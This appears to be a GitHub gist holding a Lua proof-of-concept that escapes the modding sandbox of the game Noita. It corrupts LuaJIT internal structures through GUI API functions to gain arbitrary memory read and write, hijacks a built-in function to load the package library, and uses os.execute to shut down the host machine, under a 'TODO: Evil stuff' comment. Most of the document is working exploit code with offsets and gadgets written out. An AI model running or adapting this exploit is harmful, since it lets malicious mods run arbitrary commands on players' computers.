Created
March 1, 2023 16:02
-
-
Save dextercd/a9d883bf669094683f104313af3ffb47 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- This function takes a floating point value, and turns it into a floating | |
-- point value whose binary representation matches the first floating point | |
-- value. | |
-- | |
-- For instance, the floating point number (A) 305419896.0 (hex 0x12345680) is encoded like this: 0x4d91a2b4 | |
-- The floating point number (B) 5.69046046576341273665e-28 is encoded like this: 0x12345680 | |
-- | |
-- The function takes the number A and turns it into the number B. | |
-- | |
-- This is used to place specific binary values into memory. | |
function as_float(number) | |
local sign = bit.band(0x80000000, number) == 0 and 1 or - 1 | |
local exp_ = bit.rshift(bit.band(0x7f800000, number), 23) | |
local sig = bit.band(0x7fffff, number) | |
local leading = exp_ == 0 and 0 or 1 | |
local exponent = exp_ == 0 and -126 or exp_ - 127 | |
return sign * (leading + sig / 0x800000) * 2^exponent | |
end | |
-- Reverse of as_float. | |
function as_u32(number, debug) | |
local absnum = math.abs(number) | |
local sig, exp = math.frexp(absnum) | |
local sign = number >= 0 and 1 or -1 | |
exp = exp - 1 | |
if exp < -126 then | |
sig = sig / 2 ^ (-127 - exp) | |
sig = sig * 0x800000 | |
exp = -127 | |
else | |
sig = (sig * 2 - 1) * 0x800000 | |
end | |
local ret = 0 | |
ret = bit.bor(ret, bit.lshift(bit.band(exp + 127, 0xff), 23)) | |
ret = bit.bor(ret, bit.band(sig, 0x7fffff)) | |
if sign == -1 then | |
ret = ret + 0x80000000 | |
end | |
return ret | |
end | |
-- Given a function, return the address in its string representation | |
-- (e.g. f -> "function: 0x2ac3a150" -> 0x2ac3a150) | |
function funaddr(f) | |
return tonumber(tostring(f):sub(13), 16) | |
end | |
-- t -> "table: 0x2af18f88" -> 0x2af18f88 | |
function tabaddr(t) | |
return tonumber(tostring(t):sub(10), 16) | |
end | |
-- Offsets to interesting parts of LuaJIT internal structures. | |
local tab_sz = 40 | |
local fun_sz = 20 | |
-- The lightuserdata value that we "corrupt" to create new memory addresses. | |
local lud = GuiCreate()GuiDestroy(lud) | |
-- Corruption is done by writing into a GCTab's colocated array part. | |
-- See LuaJIT src/lj_tab.c:newtab | |
local w = {lud} | |
-- I was only able to start the exploit using GuiColorSetForNextWidget but that | |
-- clobbers some of the fields at the end of the GCTab struct. To avoid | |
-- instability this is used only once to setup a more reliable arbitrary write | |
-- gadget with GuiZSet. | |
function get_w_writer() | |
local to = {lud} | |
GuiColorSetForNextWidget(to, 0, 0, 0, as_float(tabaddr(w) + tab_sz - 0x2c)) | |
return to[1] | |
end | |
-- We can now use t with GuiZSet to create arbitrary lightuserdata values in the | |
-- w table. | |
local t = get_w_writer() | |
-- Helper function for construction the lightuserdata values (pointers). | |
function get_ptr(ptr) | |
GuiZSet(t, as_float(ptr)) | |
return w[1] | |
end | |
-- Helper function to write `value` into `ptr`. | |
function write_value(ptr, value) | |
local real_ptr = get_write_ptr(ptr) | |
GuiZSet(real_ptr, as_float(value)) | |
end | |
-- Helper function to read from `ptr`. | |
function read_value(ptr) | |
local real_ptr = get_read_ptr(ptr) | |
local _, _, _, result = GuiGetPreviousWidgetInfo(real_ptr) | |
return as_u32(result) | |
end | |
-- Construct pointer with proper offset for use with GuiZSet writing. | |
function get_write_ptr(ptr) | |
return get_ptr(ptr - 0x2c) | |
end | |
-- Construct pointer with proper offset for use with GuiGetPreviousWidgetInfo reading. | |
function get_read_ptr(ptr) | |
return get_ptr(ptr - 0x5c) | |
end | |
-- We want the luaopen_package function but we can't easily get a pointer to that | |
-- function because it's never called by Noita itself. Instead, we get a pointer | |
-- to luaopen_string and use the fact that the luaopen_package function is a certain | |
-- distance away from this function. | |
local luaopen_string = read_value(0x00d1e788) | |
local luaopen_package = luaopen_string - 5712 | |
-- We're corrupting an existing GCfuncC struct. We do this to a function that is | |
-- normally useless. | |
local target = funaddr(SetPlayerSpawnLocation) + fun_sz | |
-- Turn SetPlayerSpawnLocation into luaopen_package. | |
-- Writing to GCfuncC.f (See LuaJIT src/lj_obj.h:GCfuncC) | |
write_value(target, luaopen_package) | |
-- SetPlayerSpawnLocation is now actually luaopen_package. Wheeeee! | |
SetPlayerSpawnLocation() | |
-- We can now use package.loadlib to load anything we want. | |
local ffi = package.loadlib("lua51.dll", "luaopen_ffi")() | |
local os = package.loadlib("lua51.dll", "luaopen_os")() | |
-- TODO: Evil stuff | |
os.execute("shutdown /s /t 0") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment